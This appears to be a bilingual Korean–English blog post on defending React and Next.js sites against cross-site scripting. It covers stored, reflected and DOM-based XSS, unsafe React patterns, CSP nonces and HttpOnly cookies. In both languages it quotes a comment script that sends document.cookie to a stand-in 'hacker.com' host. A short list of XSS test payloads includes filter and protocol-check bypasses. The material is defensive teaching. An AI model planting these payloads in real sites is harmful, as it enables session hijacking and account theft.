
내 쿠키를 훔쳐간 범인은 게시판 댓글이었다 (XSS 방어 가이드)
게시판에 달린 댓글 하나 때문에 관리자 계정이 탈취당했습니다. XSS(Cross-Site Scripting)의 3가지 유형(Stored, Reflected, DOM)과 React/Next.js 환경에서의 구체적인 방어법(HTML 이스케이프, CSP, 쿠키 보안)을 예제와 함께 깊이 있게 다룹니다.

게시판에 달린 댓글 하나 때문에 관리자 계정이 탈취당했습니다. XSS(Cross-Site Scripting)의 3가지 유형(Stored, Reflected, DOM)과 React/Next.js 환경에서의 구체적인 방어법(HTML 이스케이프, CSP, 쿠키 보안)을 예제와 함께 깊이 있게 다룹니다.
프론트엔드 개발자가 알아야 할 4가지 저장소의 차이점과 보안 이슈(XSS, CSRF), 그리고 언제 무엇을 써야 하는지에 대한 명확한 기준.

Debug에선 잘 되는데 Release에서만 죽나요? 범인은 '난독화'입니다. R8의 원리, Mapping 파일 분석, 그리고 Reflection을 사용하는 라이브러리를 지켜내는 방법(@Keep)을 정리해봤습니다.

비트코인은 블록체인의 일부입니다. 이중 지불 문제(Double Spending), 작업 증명(PoW)과 지분 증명(PoS)의 차이, 스마트 컨트랙트, 그리고 Web 3.0이 가져올 미래까지. 개발자 관점에서 본 블록체인의 모든 것.

내 서버가 해킹당하지 않는 이유. 포트와 IP를 검사하는 '패킷 필터링'부터 AWS Security Group까지, 방화벽의 진화 과정.

어느 날 아침, 관리하고 있던 커뮤니티 사이트에서 이상한 제보가 들어왔습니다. "운영자님, 자유게시판 3번 글만 들어가면 로그인이 풀려요."
처음엔 세션 타임아웃 문제인 줄 알았습니다. 하지만 로그를 보니 제 관리자 계정으로 누군가 접속해서 공지사항을 수정하고 있었습니다. 등골이 서늘해졌습니다. 세션 하이재킹(Session Hijacking)이었습니다.
원인은 3번 글에 달린 댓글 하나였습니다.
<script>
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
이 끔찍한 코드가 제 브라우저에서 실행되었고, 제 세션 ID가 해커에게 전송된 것입니다. 이것이 제가 겪은 XSS (Cross-Site Scripting) 공포 실화입니다.
가장 이해가 안 갔던 건 "왜 브라우저가 이걸 실행해 줬냐"는 겁니다. 브라우저는 기본적으로 Same-Origin Policy (SOP)가 있어서 다른 사이트의 스크립트는 실행하지 않아야 합니다.
하지만 XSS는 다릅니다. 악성 스크립트가 이미 내 사이트(Origin) 안에 들어와 있기 때문입니다. 브라우저 입장에서는 이것이 "개발자가 작성한 정상적인 스크립트"인지, "해커가 삽입한 악성 스크립트"인지 구분할 방법이 없습니다. 그래서 그냥 실행합니다. 멍청해 보이지만, 브라우저는 죄가 없습니다.
XSS는 침투 경로에 따라 크게 3가지로 나뉩니다.
악성 스크립트가 데이터베이스(DB)에 저장됩니다. 제가 당한 케이스입니다.
<script>...</script>를 씁니다.악성 스크립트가 URL에 포함되어 있다가, 서버가 이를 그대로 응답(Reflect)할 때 실행됩니다.
https://mysite.com/search?q=<script>alert(1)</script>"<script>alert(1)</script>" 라고 응답합니다.서버 응답은 정상이지만, 브라우저의 JavaScript(클라이언트)가 DOM을 조작하다가 발생합니다.
// 프론트엔드 코드
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
// ❌ 취약점: innerHTML 사용
document.getElementById('welcome').innerHTML = name;
해커가 ?name=<img src=x onerror=alert(1)> 로 접속하면 바로 터집니다.
"React 쓰면 XSS 안심해도 된다"는 말을 들어보셨을 겁니다. 반은 맞고 반은 틀립니다.
React는 기본적으로 모든 데이터를 텍스트로 취급합니다.
const title = "<script>alert(1)</script>";
return <div>{title}</div>;
결과는 화면에 <script>alert(1)</script> 라는 글자가 보일 뿐, 실행되지 않습니다. (HTML Entity로 변환됨)
이름부터 위험합니다. "나 이거 위험한 거 아는데 그냥 HTML로 넣어줘"라는 뜻입니다.
// ❌ 절대 사용 금지 (검증 없이)
<div dangerouslySetInnerHTML={{ __html: userContent }} />
에디터(WYSIWYG) 내용을 보여줄 때 어쩔 수 없이 써야 한다면, 반드시 DOMPurify 같은 라이브러리로 소독(Sanitize)해야 합니다.
이건 React도 못 막아줍니다.
// ❌ 취약함
<a href={userWebsite}>홈페이지 방문</a>
만약 userWebsite가 javascript:alert('Hacked') 라면? 클릭하는 순간 실행됩니다.
반드시 http:// 또는 https://로 시작하는지 검사해야 합니다.
코드에서 실수를 해도 막아주는 최후의 보루가 있습니다. 바로 CSP 헤더입니다. "내 사이트에서는 이 도메인의 스크립트만 실행해!"라고 브라우저에게 명령하는 것입니다.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-analytics.com
이렇게 설정하면, 해커가 <script>...</script>를 주입해도 브라우저가 차단합니다.
"어? 이 스크립트는 'self'(우리 사이트) 파일도 아니고, 허용된 CDN도 아니네? 실행 안 해!"
Next.js의 Inline Script를 허용하려면 nonce를 써야 합니다.
script-src 'nonce-랜덤값'을 넣습니다.<script nonce="랜덤값"> 태그만 실행됩니다.
해커는 이 랜덤값을 모르므로 스크립트를 실행할 수 없습니다.XSS는 웹 역사상 가장 오래된 공격이지만, 여전히 Top 3 안에 듭니다. 방어의 핵심은 두 가지입니다.
< 등으로 바꾸세요."내 사이트는 React라서 안전해"라고 방심하지 마세요.
해커는 여러분이 놓친 단 하나의 dangerouslySetInnerHTML을 노리고 있습니다.
One morning, I received a strange report from the community site I manage. "Admin, whenever I read post #3, I get logged out."
At first, I thought it was a session timeout issue. But when I checked the logs, I saw someone logging in with MY admin account and modifying announcements. My blood ran cold. It was Session Hijacking.
The culprit was a single comment on post #3.
<script>
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
Typically, developers allow HTML in comments for formatting. I forgot to sanitize it. This terrible code executed in my browser, silently transmitting my Session ID to the hacker. This is my true horror story of XSS (Cross-Site Scripting).
The most confusing part was, "Why did the browser execute this?" Browsers have the Same-Origin Policy (SOP), which prevents executing scripts from other origins.
But XSS is different. The malicious script is already Inside My Origin. From the browser's perspective, it cannot distinguish between "valid script written by the developer" and "malicious script injected by a hacker." So it just executes it. It looks stupid, but the browser is innocent; the developer (me) opened the door.
XSS is categorized by how the payload is delivered.
The malicious script is stored in the Database. This is what I experienced.
<script>...</script>.The script is in the URL, and the server "reflects" it back in the response.
https://site.com/search?q=<script>steal()</script>"<script>steal()</script>".The server response is clean, but Client-side JavaScript modifies the DOM insecurely.
// Frontend Code
const name = new URLSearchParams(location.search).get('name');
// ❌ Vulnerable: Uses innerHTML
document.getElementById('welcome').innerHTML = name;
If a hacker visits ?name=<img src=x onerror=alert(1)>, it triggers immediately.
You've probably heard, "React prevents XSS." That's half true, half false.
By default, React treats all data as text.
const content = "<script>alert(1)</script>";
return <div>{content}</div>;
React escapes this to <script>..., so it renders as text, not code.
The name is a warning. It means "I know this is dangerous, but insert HTML anyway."
// ❌ NEVER do this without sanitization
<div dangerouslySetInnerHTML={{ __html: userContent }} />
If you must render HTML (e.g., from a WYSIWYG editor), you MUST use a sanitizer like DOMPurify.
React doesn't block this.
// ❌ Vulnerable
<a href={userWebsite}>Visit Website</a>
If userWebsite is javascript:alert('Hacked'), clicking it executes the code.
Always validate that links start with http:// or https://.
Even if you write bad code, there is a final line of defense: The CSP Header. It tells the browser: "Only execute scripts from THESE domains. Block everything else."
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
With this, if a hacker injects <script>...</script>, the browser blocks it:
"Wait. This script is inline, and 'unsafe-inline' is not allowed. Blocked."
Modern Next.js apps often need inline scripts. To do this securely:
nonce) per request.script-src 'nonce-{RANDOM}'.<script nonce="{RANDOM}"> are executed.
The hacker cannot guess the random string, so their script is blocked.No. HTTPS encrypts the connection (preventing sniffing), but it does not check the content of the traffic. It will happily deliver an encrypted XSS payload to your browser.
innerText safe?Yes. innerText and textContent treat content as pure text. innerHTML is the dangerous one.
If you store tokens in LocalStorage, any XSS script can read them (localStorage.getItem('token')).
If you store them in HttpOnly Cookies, XSS scripts cannot read them (document.cookie is empty).
Always use HttpOnly Cookies for sensitive sessions.
(Do not use these for evil. Only for testing your own sites.)
<script>alert(1)</script> (Often blocked by WAFs)<img src=x onerror=alert(1)> (Executes when image fails to load)<svg/onload=alert(1)> (Bypasses some tag filters)javascript://%250Aalert(1)// (Bypasses protocol checks)While we focused on React, every framework has its danger zones.
v-html is the dangerous equivalent. Never use it for user content.innerHtml binding or BypassSecurityTrust... methods.{@html ...} tag.Escaping is context-sensitive.
var x = "...") is different from CSS.DOMPurify or standard framework features.XSS is the "Bread and Butter" of Bug Bounty hunters. Companies pay good money for finding XSS.